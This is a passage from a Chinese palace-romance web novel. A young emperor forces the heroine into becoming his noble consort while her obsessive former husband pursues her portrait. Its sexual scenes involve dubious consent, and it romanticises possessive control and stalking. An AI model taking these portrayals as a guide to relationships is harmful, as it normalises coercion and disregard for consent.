见他还醉着,乔棠紧张情绪有所缓解,微微一笑,“淋了雨,衣服湿了,耽误了些时间。” “陛下还不歇息?” 她刚一靠近,裴承珏伸手揽了她在怀里,薄唇轻轻去吻她柔嫩面颊,“姐姐身上好凉。” 可是他的怀抱很暖,甚至有些发烫。 大抵是喝了酒,身上起了热,乔棠不确定地想着,自己的身体也慢慢热起来。 心头被暖意浸着,直至耳边传来一声询问,“姐姐喜欢朕么?” 乔棠当他醉酒缠人,起先不吭声,但被缠得紧了,眼瞧不答,裴承珏便要失控,双手掐紧她要揉碎她了,柔声哄道,“喜欢。” “那姐姐会和朕一直在一起么?” 乔棠觉着他一醉酒话真多,问的问题也是,一个比一个难回答,她不答,裴承珏的手指就在她身上作乱。 乔棠全当安抚他了,“会。” 裴承珏沉沉一笑,“能得姐姐这三个字,朕心满意足,明日朕召礼部过来商议,先委屈姐姐做朕的贵妃了,姐姐这次可不能拒绝了。” 乔棠一慌,原来他还惦记着封妃一事,可惜先前生病的法子已不能用了,只能先道,“陛下喝醉了,封妃于后宫来讲也是大事,陛下不妨先问问太后娘娘。” 裴承珏只当她顾及旁人委屈自己,疼惜道,“姐姐放心,朕封姐姐为贵妃,朝堂后宫无一人敢反对,便是母后也管不了朕。” 裴承珏原本就不是被人挟制的少年天子,他已掌寰宇几年,朝堂后宫皆被他揽于手心,一贯的独断专行,无一人敢忤逆。 乔棠情急之下道,“真无一人……拦得住陛下?” 裴承珏觉着她问得好怪,笑着抱着乔棠到了床上,“姐姐非要一个答案的话,也不是没有。” “何人!” 乔棠避开他的亲吻,他也不恼,纵容着微微一叹,“自然是姐姐了,可是姐姐——” 裴承珏钳着她的下巴,迫使她抬起面颊,“朕不太明白,朕一再安抚姐姐莫怕,姐姐仍担忧不已,可是还有旁的缘故没提?” 一双黑沉幽深的眸子再无醉意,目光紧紧锁着乔棠,似乎要看进乔棠心底,翻出他不知道的秘密,惊得乔棠道,“并无其他缘故!” “那姐姐听话,乖乖做朕的贵妃。” 乔棠再无拒绝机会,很快被摁在他的身下,慢慢地失去了反抗,承受着一阵情热。 轰隆隆的巨响不停,一连几道雷打下来,唰地照亮了漆黑的天幕。 这场夏雨,不眠不休地下了一夜,翌日仍泼泼洒洒个不停。 乔棠迷迷糊糊醒来,裴承珏已忙去了。 她还抱着裴承珏昨夜醉了不记得事了的希望,忽闻王嬷嬷道,“听说陛下一早召了礼部官员过来,说是要准备什么仪式。” 乔棠心口一窒,这下真逃不掉了,裴承珏当真要封她为贵妃了。 门外果然响起脚步声,是李公公过来了,他低身道,“陛下请乔姑娘过去。” 乔棠无奈地跟着他去了。 正殿肃穆地立在风雨中,乔棠没什么精神地迈步进去。 裴承珏见她衣衫轻薄,思及外面风雨不停,惊道,“姐姐冷不冷?” 乔棠只立在阶下不动,她知道裴承珏会来抱她,习惯性地等着。 果然,裴承珏很快离了御桌,下了台阶,来到她跟前,不满又心疼地把她牢牢地抱在怀里。 一股暖意浸透乔棠全身。 乔棠把脑袋枕在他的肩膀上,由着他抱着自己坐回御桌前,将礼部拟好的封号木牌一一拿给乔棠看,“姐姐喜欢哪个?” 乔棠已经认命了,更无心思挑选,恹恹地靠在裴承珏怀里,随手指了一个。 裴承珏看着牌上的“惠”字笑起来,姐姐喜欢的,他也喜欢,“那就这么定了,朕的惠贵妃。” 乔棠乍然一听,根本没反应过来是在喊自己,下意识看向裴承珏,模样透出些茫然无辜。 裴承珏心脏一跳,姐姐好乖,薄唇情不自禁地吻过来,边吻边逗弄,“贵妃姐姐。” 乔棠浑身一麻,面颊一阵发热,避开他的薄唇,扬袖要去捶他,被他一下擒住手腕。 “姐姐莫恼,快些换衣吧,受了凉又要喝药了。”他说着抱着乔棠去了内殿里间。 自打来了行宫,她还未进过内殿,此刻头次进来,从裴承珏怀里出来,好奇的目光巡视一圈,视线蓦地一顿。 但见床榻上有两件自己的衣衫,一件青色的,一件浅粉的,正静静地搁在那里,可惜都皱巴巴的,似被什么肆意蹂躏过。 乔棠狐疑地看了一眼裴承珏。 裴承珏突地耳根通红,快行几步到床前,转过身挡住了她的视线,背后偷偷伸手抓了那衣衫扔进了床边箱笼里。 至于箱笼…… 他动作一顿,试图转移乔棠的注意力,想起另一件事,“姐姐给朕的小像是不是被姐姐拿走了?” 乔棠心下一沉,他怎还记得这事? 她也想转移裴承珏注意力,一边向箱笼走去,一边随口道,“那倒没有,兴许那天风大,刮走了吧。” 裴承珏很喜欢那张小像,为此惋惜一声,“朕也考虑过,派人去寻,也没寻到。” 眼看已经阻止不了乔棠了,他也放弃了,任由乔棠打开箱笼了。 乔棠一看就识出来了,这只箱子是她留在太极宫的,往里面一看,果然都是她的衣物,甚至还有几件她的贴身小衣,不由怔在原地。 裴承珏自知暴露了,从背后抱住她,装出委屈可怜模样,“姐姐不要生气,朕只是太想姐姐了,议政时想,饭时想,休息时也想……” 乔棠眸色难掩震惊,裴承珏可是每夜都抱着自己睡,难道这样还消磨不掉他对自己的渴求么? 她立马又瞥了一眼被蹂躏的衣物,明白了裴承珏用它们做了什么,还有这一箱子贴身衣物的用处,一时又羞又恼,整张面颊似暮霞般通红。 她还当裴承珏不识情爱,这方面知识有限,还想着怎么给裴承珏开窍,册子都看了几遍,哪里知晓背地里裴承珏已学到这种程度了! 乔棠也不知该气自己糊涂,还是气裴承珏对自己衣物胡作非为,一下扔了衣物,坐在床边不语了。 裴承珏不敢妄动,只拿了一套干净衣衫靠近,“姐姐生气归生气,还是快换上衣物吧,着了凉还要喝药,姐姐也不喜喝药。” 乔棠确然很怕喝药,气呼呼地抬袖接了衣衫,低头正欲解开衣领,见裴承珏没有走的意思,不由背过身去,“陛下出去……” 忽地殿外传来李公公通禀声,“陛下,魏御史求见。” 乔棠一时心头狂跳,转过身去看裴承珏,裴承珏皱眉疑惑,“魏卿怎这个时候来见朕?” 他没有召见魏清砚! 是魏清砚擅自来的,乔棠意识到这一点,脑中闪过昨夜魏清砚含着丝丝颠乱的眸子,摁在衣领处的手指抖动起来。 “陛下不妨叫李公公问问魏御史有何事。” 她放下衣衫,从床边起来,牵着裴承珏的手到门边,裴承珏不疑有他,叫李公公问了。 李公公回得很快,“魏御史说有东西落在陛下这里了。” 乔棠心口一缩,魏清砚能落什么东西在裴承珏这里!分明是他执拗地想要回小像! 从小像被裴承珏夺了去,他就不似平时冷静端肃,几度失态疯言,乔棠不敢想象他还会做出什么举动。 殿门外李公公又通禀一声,“陛下,魏将军来了。” 裴承珏讶然挑眉,“朕的表兄们倒不惧风雨,勤谨如常,姐姐且等等朕,朕出去一趟。” “陛下!” 乔棠暗暗咬唇,若是魏清砚果真失控,执意来要小像,被裴承珏发现了两人关系…… 她想不出别的法子阻止裴承珏,情急之下,扬颈吻上裴承珏的唇,手臂拉着他,将带他到了床边。 两人一起倒在了床上,她拉着裴承珏的手放在衣领处,秋水眸子脉脉含情,“陛下拿我的衣物做的事情,能再做给我看看么?” 裴承珏眸色震荡,粗重呼吸一凝,当即翻身下床,乔棠听到他沉声吩咐,“没有朕的命令,任何人都不得入内!” 殿门外,雨下得更大了,天幕雨珠似倾盆而下,砸落地面,掩住了一切声响。 李公公对着魏清砚叹气,“陛下和乔姑娘在一起,眼下任何人都不得入内,魏将军,魏御史,还请回吧。” 魏清墨松了口气,转身要带魏清砚走,魏清砚突地动了,疾步越过李公公,直奔殿门而去。 “魏御史使不得啊!” “清砚!” 李公公眼前一闪,竟见魏清墨也追了过去,登时惊惧瞠目,疯了,国公府的人疯了! 内殿里间,乔棠阖上双眼,裴承珏的手指轻轻地抚过她的眉眼,移到衣领处,灵活地解开衣领,褪去了她的外衫。 慢慢地,手指进入,勾出乔棠贴身小衣,藕粉色的,明晃晃地挂在指间,眉眼透出恣意,“姐姐既说得出来,可不要反悔。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23-30 第23章 风雨声被隔绝在外,房内冰块泛起凉气,消融不了渐渐升腾的旖旎欲念。 外面似有一阵响动,扰了房中交缠急促的呼吸。 裴承珏瞬时敛了神色,眼底透出冷意,要下床去,“姐姐且等等朕。” 乔棠见他动怒,生恐殿外是失控的魏清砚,哪里能让他走,微启唇瓣,柔怯一声,“陛下。” 裴承珏动作一顿,随即她伸出葱白手指一扯纱帐,纱帐摇晃着落下,直将两人罩得严实,再听不见外面动静了。 却说外面,魏清砚容色冰冷,衣袖翻飞,转眼间已到殿门前了,惊得侍卫纷纷而动,刀剑直逼他而来。 “清砚不可妄动!” 衣袖被追来的魏清墨抓住,激烈雨点敲打窗户,魏清砚僵直地立在殿门前,眸色泛出痛楚,张口欲言间脑中来回闪出无数画面。 裴承珏含着乔棠手指,裴承珏手臂护着乔棠,裴承珏喊乔棠姐姐…… 渐渐地,他呼吸一促,控制不住地想,里面这般安静,棠棠和陛下在做什么? 魏清砚忍着心脏深处传来的痛意,从记忆中翻出在冀州乔棠亲近他拥吻他的画面。 曾经那么亲近他,那么温暖他的棠棠,也许此刻正躺在陛下怀里,可棠棠并不钟情陛下,也会像吻他一样吻陛下么? 便是她不愿意,陛下也会逼迫她的吧,他只略微一想,面色已煞白一片,狠狠攥紧手心,手心倏地嘀嗒出血,点点血红溅落在地,一摊的狼狈凌乱。 他犹失控地想着,如陷入汹涌怒火中的莽撞野兽,任由怒火焚烧心脉,接着猛地一口心头血蹿出来,哽在嗓子眼里,身形摇摇欲坠。 “清砚!” 魏清墨扶住了他,但见他薄唇翕动,一条血线泄出唇角,惨淡地流过下巴,再也吐不出一言来。 魏清墨咬牙,将心一横,抬手敲向他的后颈,任由他无力地双眸一闭,缓缓地倒在自己怀中。 侍卫纷纷退下。 魏清墨扶着魏清砚,面色恢复稳重,对李公公道,“李公公,魏御史惦记公务,本就身子不适,情急之下脑子糊涂了,这才行为失当,我即可带他去看太医。” 李公公按下心惊,连忙点头,命人收拾地上血迹,心里惊惧不已,怪不得魏御史突然发狂,原来是病了。 殿内帐里,一片昏色,裴承珏撑起上身,视线带着滚烫的热意抚过乔棠全身,乔棠被烫似地闭了眸子, “姐姐闭着眼,如何看朕?” 乔棠心头乱跳,纤巧下巴被手指抬起,被迫睁开了眸子,顿时一片亮光涌来,入眼便是一堵胸膛,脸颊倏地红了。 竟是裴承珏拿了几颗夜明珠出来,随手扔在周围,明珠光辉映出他眸底暗色,“朕应了姐姐要求,姐姐得好生看着。” 他恐乔棠逃似的,一掌扣着乔棠后颈,迫使乔棠只能看向自己,乔棠只瞧一眼,羞恼得不行。 裴承珏笑道,“姐姐怎这般害羞,难不成姐姐没见过你那个前夫……” 声音一顿,手指猛地攥紧了,泛出青白色,唇角一垂,眸色暴戾,沉沉一声,“姐姐。” 乔棠暗道不好,先前裴承珏没有这番体验,不懂也是正常,眼下此景下,他终于意识到什么叫夫妻了。 他并不是乔棠亲吻的第一个男人,拥有的第一个男人。 已有男人在他之前,和乔棠在一起了,这个认知叫裴承珏愤怒,委屈。 甚至有股恨意倏地从他心底冒了出来,“姐姐,从今以后,除了朕,你绝不能瞧旁的男人一眼!” 乔棠知他占有欲作祟,凑过去安抚他,不想裴承珏仍不罢休,“姐姐发誓。” 乔棠哭笑不得,又不是三岁孩子了,怎还相信这个东西,无奈裴承珏目光灼灼,她只能贴着裴承珏的耳朵说了誓言。 裴承珏一笑,“那朕就相信姐姐。” 转念一想,总归姐姐那个前夫已死了,他和一个死人有什么好计较的,以后和姐姐在一起的只能是他。 他再度直起身子,趁火打劫地提出要求,“姐姐要拿着夜明珠看朕。” 乔棠不想在这个时候和他呛声,依言拿过夜明珠。 两人距离极近,裴承珏眼神幽深地望过来。 雨停了,雨又来了,纱帐里隔绝了一切。 不知过了多久,裴承珏吻着她,“姐姐睡吧。” 她沉睡过去,似是做了一个长长的梦,这个梦没有尽头,全然是裴承珏无穷无尽的索取。 “姑娘,姑娘……” 乔棠听闻王嬷嬷心疼的声音,慢慢地睁开眸子,侧目过去,却见烛火摇晃,天已黑了。 王嬷嬷摸了摸她的脸颊,“姑娘睡了一日了。” 乔棠惊道,“一日?” 王嬷嬷支吾道,“姑娘清晨方被陛下送回来,许是累了着,难免睡得久。” 乔棠听明白了,羞得一头埋进枕头里。 天杀的裴承珏,因为没带匣子,他都没进去,竟还能弄这么久,一个下午不够,竟还搭了一夜,到底从哪里学来的这些歪门邪道! 乔棠气不过,拉开纱帐,忿然道,“陛下呢!” “在正殿理政。” 乔棠恨不得去捶裴承珏,王嬷嬷却关切道,“姑娘身子可有不适?” 乔棠翻身坐起来,掩住寝衣露出的痕迹,摇了摇头,身上虽有许多痕迹,裴承珏却没伤了她,唯有腿间不舒服,可这也是避免不了的。 王嬷嬷放心了,“姑娘饿了吧?” 乔棠点头,下床用了晚膳,又去沐浴,期间身子惫懒,先去歇息了,吩咐宫人道,“若是陛下来了,便说我睡了。” 宫人称是。 此时风声不止,吹得落雨纷纷坠下,散落雨珠敲响了窗户。 行宫官员住所处,魏清砚从外面迈步回来。 房里烛火暗淡,映出端坐桌前等候已久的魏清墨,“清砚,你才醒来,何必出去淋雨?” “无碍,只是急火攻心而已。”魏清砚径自解了腰带,褪去淋湿的外 衣,露出雪白中单,换上一件干净外袍,散落黑发扫过颈肩。 魏清墨吃惊,印象中弟弟一贯的端正冷肃,从不曾这般散发不重仪态过,这几日生生似变了一个人,“清砚,你坐下!” 魏清砚缓步过来坐下,烛火映出一张冷淡容色,与平时也无不同,又叫魏清墨放心下来,和缓语气,“我听湄湄说了,你既已和乔姑娘和离,那应和乔姑娘断得干净。” “兄长,你也听棠棠说了,是陛下逼迫她留在宫中的,并非是因她钟情于陛下,我如何放心得下?” 魏清砚说着,竟再度露出一个不正常的浅笑,“兄长,棠棠心里还是只有我。” 魏清墨当他没了心爱的小像,受了大刺激,这才失了理智,“你且冷静下来,这只是你自己这般想罢了。” 魏清砚笑容不变,缓缓摩挲着空下来的手指,这里原本该有副小像的,却被陛下夺了去。小像,棠棠,都被陛下夺了去。 魏清墨试图用温和的语言唤回那个端肃持重的魏清砚,“不若和兄长讲讲你和乔姑娘的事情?” 魏清砚一听,慢慢地敛起笑容,讲起了他与乔棠在冀州的三年。 待他讲完了,魏清墨又皱起眉头,原来都是弟弟的错,他可真是冤枉人家乔姑娘了。转念一想,也是,弟弟这个性子,家人百般包容也不免被他伤了心,何况是与他同处三年的乔姑娘呢? 他接着道,“为兄便是不说,你也明白,无论你对乔姑娘如何旧情难忘,眼下境况绝容不得你恣意妄为。” 魏清砚可以不顾个人生死,但他已不是冀州的温璟了,而是镇国公府的二公子,一举一动都牵连到了镇国公府。 “且你与乔姑娘这事,不单单影响你一人,还影响着乔姑娘,依你先前所言,你已伤了乔姑娘一次了,若是再情急,使乔姑娘陷入两难之地,岂不是伤了她第二次?” 魏清砚眸色闪过痛楚,“她非自愿留在宫中,倘若我能带她出去……” “不,没有人能带乔姑娘出去,除非陛下放手。” 无论是哪个人的力量,在裴承珏面前,都不过是蜉蝣撼大树。 魏清墨一字一顿道,“陛下对乔姑娘很好,已准备封乔姑娘为贵妃,事已至此,倘若我们再执意做些什么,反倒伤了乔姑娘。” 良久,魏清砚阖眸道,“兄长不必担忧,昨日是我失了理智,我即可去向陛下请罪。” 魏清墨起身道,“我与你一起。” “是我的错,并非兄长之错,兄长不必如此。”魏清砚迈步出房。 身后魏清墨温言一笑,“你的事便是兄长的事,一起去吧。” 魏清砚动容,半晌点头默许了,两人途中敲定了说法,一起去正殿求见裴承珏。 裴承珏忙了一日,眼下只想回寝殿见乔棠,闻得两人来了,容色一沉。 但见魏清砚魏清墨进殿行礼,陈述昨日两人殿门前失仪的罪行,恳请裴承珏降罪惩罚。 魏清墨道,“每年夏逢暴雨,河堤常有决口之险,魏御史身子不适,脑子糊涂,误听了消息,以为有大堤决口,情急之下误闯殿门,还请陛下责罚。” 裴承珏长身立在阶上,冷冷目光巡视过两人,最终落在魏清砚身上。 魏清砚素来沉湎政务,昨日也是心怀政事,才情急失态,但虽情有可原,也未铸成大错,依旧不能不罚。 “魏清墨罚俸三年,即可离京,速回边关。魏清砚言行失当,革去御史一职,且去翰林院编书罢。” 魏清砚垂眸行礼谢恩。 “魏卿退下。” 魏清砚离去,魏清墨跪在地上辞别,裴承珏下了台阶扶他起来,“表哥会怪朕么?” 魏清墨笑着摇头,“陛下已宽宥臣等太多,臣等还要谢谢陛下,再者若论起私心,以清砚的性子,再把这御史做下去,恐怕要将所有同僚得罪尽了,陛下让他去翰林院编书,是救了他啊。” 裴承珏一笑,“表哥倒是会说,路上且注意。” 魏清墨叩首谢恩,待他也退下了,裴承珏回了寝殿,听闻宫人说乔棠睡了,他自去洗漱换衣,而后上床守着乔棠。 乔棠睡至半夜,意识朦胧间,觉着有只手在胸前动,一个激灵睁开惺忪睡眼,果见裴承珏在胡闹。 裴承珏见她眸似含怨地瞪来,举着药膏解释,“朕在为姐姐上药。” 乔棠不语,翻身背对他,他哄道,“昨日朕放纵太多了,姐姐只管打朕好了。” 乔棠扬手,软绵绵地拍了拍他的手臂,权当打过了。 裴承珏失声一笑,姐姐怎么这么可爱?他满心爱怜道,“朕轻一点,姐姐接着睡吧。” 乔棠哪里还睡得着,只待等他给自己上了药,两人一起睡。 无奈裴承珏手指灵活,将她浑身都抚了一遍,抹了药膏,尤其是腿间,冰凉药膏过了会儿,又泛起烫来。 裴承珏俯身抱住她,轻轻低语,“薛太医教了朕许多东西,姐姐要试试么?” 乔棠心道,怪不得懂得这么多,却原来有了别的老师了,倒显得她没用了。 她沉默不语,便是不许的意思,裴承珏挑眉,过了会儿,乔棠忽地身子一颤,不可置信地看向裴承珏。 裴承珏无辜地望过来,“上药而已。” 乔棠轻咬唇角,“夜色已深,陛下再不歇息,明日可有精力处理政务?” 裴承珏也不舍得再累她,听了这话,将她紧紧圈入怀中,一起睡去了。 这厢魏清墨需要连夜离京,连回国公府的时间也无,待他收拾妥当,即可出了行宫。 魏清砚送他到城门前,他跨上快马,低身嘱咐魏清砚,“你与乔姑娘一事,定不可急于一时,日后倘若还有转机,我们徐徐图之!” 魏清砚淡淡道,“兄长放心。” 魏清墨单看他神色便知他已心中已有了成算,应不会如昨日那般莽撞颠乱了,放心地骑马离去。 夜幕暗沉,城楼门下虫鸣不止,魏清砚收回视线,孤身立着,久久不动,手指摩挲着不存在的小像。 翌日镇国公府被罚一事传开了,乔棠听王嬷嬷提了,不免心惊,看来便是有血亲关系,裴承珏也从不手下留情,魏清砚大抵要在翰林院编一辈子书了,转念又庆幸当时拦住了裴承珏,否则后果不堪设想。 她在房中坐了一会儿,听着雨声,心底烦躁几分,慢慢步出了房门。 王嬷嬷惊道,“姑娘去哪里?” “我出去走走,嬷嬷莫担心。”乔棠回头,接了宫人递来的伞,独自出了门,慢慢来到了花苑中。 晴日里绚烂的夏花,此刻正被风雨摧残,花瓣凋落一地,花枝也是摇摇晃晃,看着好不可怜。 乔棠往日从不理会,今日大抵伤神了,伸手拿伞面遮住了那道花枝。 不过片刻,身后传来脚步声,“棠棠。” 乔棠蓦地回首,是魏清砚来了,他在自己身前站定,扬起伞面,露出一双泛着红丝的眸子,和花瓣一样透出几分可怜。 乔棠怔然,手上一松,小伞随风斜飞而去,被魏清砚扬臂逮到了,撑在了乔棠头顶。 乔棠恐被旁人见了起疑,有意避开两人距离,从他手中抓了伞,撤开两步。 魏清砚望着两人的距离,绷紧了下颌,“棠棠,你若想我安分,我便安分下来,那能把小像能还给我吗?” 花苑里,凄凄风雨揉过花瓣,花瓣颤动不已,像极了此刻乔棠的一颗心,茫然地颤动着。 对面魏清砚目不转睛地盯过来,目光执着,隐隐透着些控制不住的渴望,重复道,“棠棠,把小像还给我。” 乔棠张了张口,看着魏清砚渐渐透出颠乱的目光,有些慌了。 她以为,夫妻三年,她已足够了解魏清砚,原来不是的,她 从未见过魏清砚这般失态,浑身再无冷肃,只有看不透的执拗。 她又不免疑惑,原来魏清砚对她这般情深么?可是,她马上要做裴承珏的贵妃了。无论魏清砚对她如何,所有的一切都会随着贵妃这个头衔,被迫消失殆尽。 她不过思索一会儿,魏清砚却觉着等得太久了,慢慢抬步靠近,眼看已逼近乔棠,乔棠忙地退了一步,后背靠上纷乱花枝,浸了一身凉意。 她不禁打了一个哆嗦,唇瓣颤动,“小像被风刮走了,我和陛下都没有找到。”她不会把小像给魏清砚了,她不能再和魏清砚有牵连。 还未容她说出口,魏清砚见她身形轻颤,面色倏变,一手去解外袍,声音轻下来,“受了凉,又得哭着喝药了。” 乔棠顿时想起以前受凉喝药的时候,那是魏清砚待她最温柔的时候了。 但过去已逝,多想无益,她冷下心肠,闻得脚步声传来,抬眸见是李公公领着人过来了,低眉敛尽所有情绪。 “原来乔姑娘在这里。魏御史也在。”李公公疾步过来,朝两人行了礼,着急地对乔棠道,“乔姑娘,这会儿雨大风急,怎出来了?” “幸好陛下惦记乔姑娘,唯恐乔姑娘走路上受了凉,叫奴才带着衣物来了。” 乔棠这才见有个宫人抱着一件外衣,闻言恭敬地步过来,将外衣披在她身上,另一宫人为她打伞。 一行人围着她,将她护得很周到,李公公点点头,又转过头对魏清砚笑道,“陛下着急见乔姑娘,奴才先领着乔姑娘去了。” 乔棠被宫人围着,瞥了一眼魏清砚,魏清砚放下解衣的手,容色不变,缓缓启唇,无声地朝她道,“小像。” 乔棠仓促转头,也无声地拒绝了他,跟着李公公等人往正殿去了。 待见了裴承珏,裴承珏目光先瞥了一遍她的穿着,见了她披了外衣,浑身无一丝凉意,满意颔首,“姐姐这次听话。” 乔棠却觉着殿里闷,脱了外衣才靠近,目光被一副崭新小像吸引了。 裴承珏炫耀似地拿起来扬了扬,“朕画的,像么?” 乔棠接过来,细细一看,竟与魏清砚那个一模一样,想来是裴承珏比着画的。 她无奈一笑,“陛下就这般喜欢?” 裴承自然点头,从乔棠手中抢了小像放在掌心,手指轻轻摩挲,“若是早些遇见姐姐就好了。” 乔棠一怔,心底似被什么挠了一下,脱口而出,“若陛下喜欢,我也可画些以前的我给陛下。”语罢她自己先愣了,心间懊恼何必多说这一句,这不是给自己找事么! 裴承珏扬唇一笑,长臂一伸将她抱在怀里,“那朕要很多很多个姐姐!” “姐姐就从小时候画吧!” 乔棠愕然,“便是我自己也记不清了幼时模样了,这如何画?” “有王嬷嬷在,王嬷嬷定还记得。”裴承珏将她脑袋按在自己肩膀上,腾出手翻开折子,“总之姐姐不许反悔。” 乔棠心里悔死了。 裴承珏又道,“这两日且不用画了,明日朕带姐姐回宫,准备封妃仪式。” 乔棠心知再无法逃避了,无力地将脸颊贴着他的颈侧,若有似无地应了一声。裴承珏不知缘由,很是受用她这般黏着自己,侧头吻了吻她的发,接着忙了。 第二日,两人回宫,裴承珏下了封乔棠为贵妃的圣旨。 消息传遍朝堂后宫,引起诸多议论,无外乎是乔棠多受陛下喜欢。 慈宁宫中,这厢素兰姑姑奉命送走了顾玉清,回到太后跟前,躬身侍候着。 太后笑着倚着靠背,闲闲地逗弄着笼中鸟,“玉清这趟去行宫,算是没白去。” 素兰姑姑思及顾玉清透露的消息,深深垂下头。 太后舒心地眯起眸子,如稳坐钓鱼台,“陛下要封乔棠为贵妃,且顺着陛下吧,他还年少,过于顺遂,也该尝尝栽跟头什么滋味了。” 接下来几日,宫中都在忙封妃一事,裴承珏派官员祭告太庙,命礼部工部制作宝册。乔棠也是忙碌,贵妃受封仪式繁杂,需得礼节女官先行过来教导,乔棠听了礼节女官所说,心里有了成算。 到了受封这一日,乔棠被早早喊起来,由着宫人为她穿上贵妃礼服,坐在镜子前梳妆。素日里她一贯淡妆,今日仪式隆重,由不得她了,她只好老实了。 王嬷嬷在旁笑叹,“我们姑娘都已是贵妃娘娘了。” 她为乔棠欢喜,却不知乔棠心头有多无奈,一旦做了裴承珏的贵妃,也不知以后何时能出宫,且慢慢等吧。 待梳妆完毕,王嬷嬷与宫人们惊叹不已,盖因乔棠素日虽也耀眼夺目,美得让人心折,但总归收敛许多风华。今日则是不同,秀美柔色一下张扬恣意起来,如盛放牡丹,华贵典雅。 乔棠领着一群宫人出了寝殿,到了外殿时,步子一顿,眸子泛出怔然。 原该忙于政务的裴承珏立在灿金日光下,伟岸挺拔的身躯撑起十二团龙黄色衮服,一双眸子含着些许倦怠。但一望见她,目光蓦地绽放出惊人光彩,慢慢地,那光彩氤上暗火,隔空缠过来,叫她动弹不得。 “都退下。”裴承珏抬步而来。 乔棠认命地闭上眸子,静静地等着裴承珏汹涌而来的情潮。 殿中没了旁人,裴承珏很快到了跟前,气息缠绕过来了。乔棠手指颤了颤,心间哀呼,过会儿还得重新收拾自己,陛下怎这时候还不收敛些! 果真,后颈被手掌摁住了,她被迫扬起颈子,须臾,暴风骤雨般的吻没有落下。 眉心落下轻柔一吻。 她困惑地眨了眨睫毛,睫毛落下一吻,阖起的眸子也得到一吻。 她的心再也忍不住了,正突突地跳着,跳得好快,好奇怪,耳边传来裴承珏轻叹,“朕恨不得今日及冠,好与姐姐大婚。” 乔棠心跳骤急,心底战粟,不要在这时候吓她了! 又有轻轻的吻落在唇上,慢慢地研磨,缠绵力度也是轻如鸿毛。 良久,乔棠神思涣散,裴承珏的吻撤开了,宽厚手掌握住她的手,牵着她一起往殿外走,“姐姐莫怕,朕陪着姐姐。” 他的掌心原是温热的,温度自手掌传到乔棠心底,乔棠安心得很,紧张情绪放松下来。 裴承珏执意要陪着她封妃,本是仪式中没有的环节,坏了祖宗定下的规矩,但无一人敢反对。乔棠在他的陪伴下,身穿贵妃礼服,由着女官引着,带着贵妃仪仗,走完了繁杂流程。 末了,乔棠到慈宁宫向太后行礼。 起先她以为,封妃消息传出,太后会阻止裴承珏,没成想慈宁宫安静得很,毫无动作。 乔棠一时猜不透太后是何意思,遵循礼节向太后行礼,太后欢喜地赏赐了许多好东西。 乔棠越发狐疑,转念一想,大抵是裴承珏也在,太后不想叫裴承珏为难。她悄悄按下心间没来由的一点不安,完成了封妃所有礼节,同裴承珏回了太极宫。 一进寝殿,乔棠便欲脱了繁重华丽的贵妃礼服,要唤宫人时,发现殿中再无旁人,只有裴承过来,将她抱在镜前,“朕为贵妃姐姐解衣。” 乔棠呼吸一紧,一下抓紧他作乱的手指,“陛下已陪臣妾费了许多时间,眼下不去忙?” “为陪姐姐,朕已忙了一个通宵,眼下并无政务累积。 裴承珏吻着她的颈侧,手上解开了她的衣领,她只得在朗朗白日,承受着裴承珏的荒唐。 镜前,礼服凌乱,情热蒸腾。 一番折腾后,裴承珏餍足地为她换上新的衣裙,吻了吻她的面颊,“宫中热些,朕命人送姐姐回行宫,朕稍后再去。” 乔棠埋首在他怀里,无力地点头,随后她同王嬷嬷回了行宫,又住了几日。 裴承珏显然被朝务绊住了脚,一连几日都不曾出现,乔棠清闲下来,与王嬷嬷等人玩了两日。 这天白日,魏若湄托人传信给她,邀她夜间游玩,她还未见过京中夜景,一时新奇,遂应了下来。 王嬷嬷对她上次偷偷出宫心有余悸,生恐裴承珏再发火,按下她蠢蠢欲动的心,“姑娘不妨等陛下来了,同陛下一起去?” 乔棠垂眸,实则她也明白,信上说是魏若湄邀请她,魏清砚 定也会去的。如今她已是裴承珏的贵妃了,既已决定老老实实等裴承珏厌了她,她只能寻机会与魏清砚说清楚,遂把想法告诉王嬷嬷。 王嬷嬷心里一喜,姑娘这是想通了啊,思付道,“不若传信给陛下,只说夜间游玩,等陛下允了再去。” 乔棠听罢扯起嘴角,心中突地生出一股气,她原也不该在这里的,是裴承珏要她进宫的,眼下她想出去一趟,便也不能么? 她道,“无须告知陛下,我一出去,自有人传信给陛下。” 王嬷嬷心想,姑娘又和陛下使小性子了,转眼思及陛下对姑娘的宠爱,索性依了她,反正到头来陛下只会依了姑娘。 两人坐了马车出去,慢慢地驶到了街上。 到了约定的酒楼,乔棠一下车,魏若湄就扑到了她怀里,“乔姐姐!” 乔棠摸了摸她的脑袋,抬眼一望,三步远立着魏清砚,冷肃如松,对她微微一笑。 乔棠心里一叹,别过视线,魏若湄见状,牵起她的手笑道,“我带乔姐姐玩!” 夏夜街上烛火通明,商铺林立,人群熙攘,乔棠带着幕离,随魏若湄穿行其中。 魏清砚始终落了她一步,她一回首,便望见魏清砚冷容淡漠地替她隔开路人,手指蜷紧,心尖泛起疼意,魏清砚不必如此的。 玩闹许久,魏若湄神秘地凑过来道,“乔姐姐,我带你去一个能捉萤火虫的地方!” 几人坐上马车,来到了湖边,乔棠甫一下车,眸中闪出点点亮光,竟是许多萤火虫在草间飞舞。 魏若湄笑着奔了过去,乔棠瞥了一眼飞在空中的小灯笼,示意身后的魏清砚跟过来。 两人一起立在湖边。 天幕星河璀璨,皎月清辉洒到波光粼粼的湖面上,湖上小舟荡出摇晃的水痕,舟中两人交颈相拥,情意绵绵。 小舟上灯笼摇曳,泄出丝丝光亮,闪到乔棠眸中,叫乔棠忍不住阖眸,想起了冀州那个夏夜。 那夜温璟带她游湖,那样端正冷淡的人竟也会因她一句,“温璟,我要萤火虫。”在草中失态地来回举步扬袖。末了,捉到了好几只,兜在大袖中给她看,唇角抿着,“是棠棠近日琴艺进步。” 乔棠当时不满,原来是因这个才给她捉萤火虫,她忿忿地瞪了过去,“我不要了!” 她气恼地转过身立在湖边,不见温璟来哄她,悄悄红了眼眶,妥协似地转过身,一下撞进温璟怀里。 温璟双臂揽着她,不解叹气,“我听了棠棠的话,棠棠怎么还哭了?” 有萤火虫爬到温璟眼角,泛出的亮光照出他眸中柔情,乔棠怔然,心口热了起来。 大抵上,就是因这一点偶然的柔情,叫乔棠舍不得放手,情愿在温璟身上耗了三年心力。可惜,昔年已去,眼下处境大变,她已是宫中的贵妃娘娘,温璟也成了国公府的魏清砚,身份有别,她的心再也不会因这一点柔情急促跳动了。 乔棠眼角决绝地垂下一滴泪,慢慢地,有温热手指探过来了,替她轻轻擦掉。 